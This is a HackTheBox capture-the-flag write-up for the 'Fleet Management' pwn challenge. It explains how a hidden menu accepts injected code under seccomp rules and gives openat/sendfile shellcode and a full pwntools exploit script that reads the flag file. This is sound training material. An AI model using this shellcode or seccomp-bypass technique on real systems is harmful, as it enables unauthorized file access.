Fleet Management

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

Reading through an Underground Intergalactic hacking forum Bonnie stumbles upon a post talking about a backdoor in the Gold Fang’s Spaceship Fleet Management System. There is a note about a twist added by the author to prevent anyone from using the backdoor. Will Bonnie achieve to gain access to Gold Fang’s internal network and retrieve precious documents?

Solution Approach

Core idea: Bypassing secure-computing (seccomp) rules. Crafting custom shellcode.

Steps

1. In this challenge we're given a 64 bit binary, dynamically linked, and not stripped.

BINARY PROTECTIONS

1. After decompiled the binary, it looks like there's a hidden menu which calls the beta_feature() function.

2. There's a chance we can do shellcode injection even though the NX are disabled.

3. But the problem is, we have seccomp(). (skid_check())

4. To be precise what are the seccomp applied, we can run:

sudo seccomp-tools dump ./fleet_management

1. Then open menu number 9 and input random strings.

2. The interesting part here, the binary using openat() which is more secure than open(), it does took me a while to solved this.

3. Since there are seccomp, hence the objective here is to cat the flag rather spawn the shell.

4. To do that we can utilize sendfile & openat.

5. Here are the asm code we want to inject:

xor rdx, rdx ; set rdx to 0
push rdx ; push it to the stack
mov rax, 0x7478742e67616c66 ; stores flag.txt
push rax ; push it to the stack
mov rsi, rsp ; move what's on the stack to rsi(set filename address to stack address)
mov rdi, -100 ; set rdi as file descriptor (fd) pointing to AT_FDCWD
mov rax, 257 ; do the sys_openat()
syscall

xor rdi, rdi ; set rdi to 0
xor rdx, rdx ; set rdx to 0
mov rsi, rax ; move rax, rsi (set file descriptor [fd] to openat() result
mov r10, 0x100 ; set length to read the flag.txt
mov rax, 40 ; do the sys_sendfile()
syscall

1. Here's the full script:

from pwn import *

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

exe = './fleet_management'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'

sh = start()

sh.sendlineafter(b'do? ', b'9')

shell = """
xor rdx, rdx
push rdx
mov rax, 0x7478742e67616c66
push rax
mov rsi, rsp
mov rdi, -100
mov rax, 257
syscall

xor rdi, rdi
xor rdx, rdx
mov rsi, rax
mov r10, 0x100
mov rax, 40
syscall
"""
shellcode = asm(shell)
sh.sendline(shellcode)

sh.interactive()

RUN SCRIPT REMOTELY

1. Got the flag!

Flag

REDACTED

Lessons Learned

1. Bypassing secure-computing (seccomp) rules.
2. Crafting custom shellcode.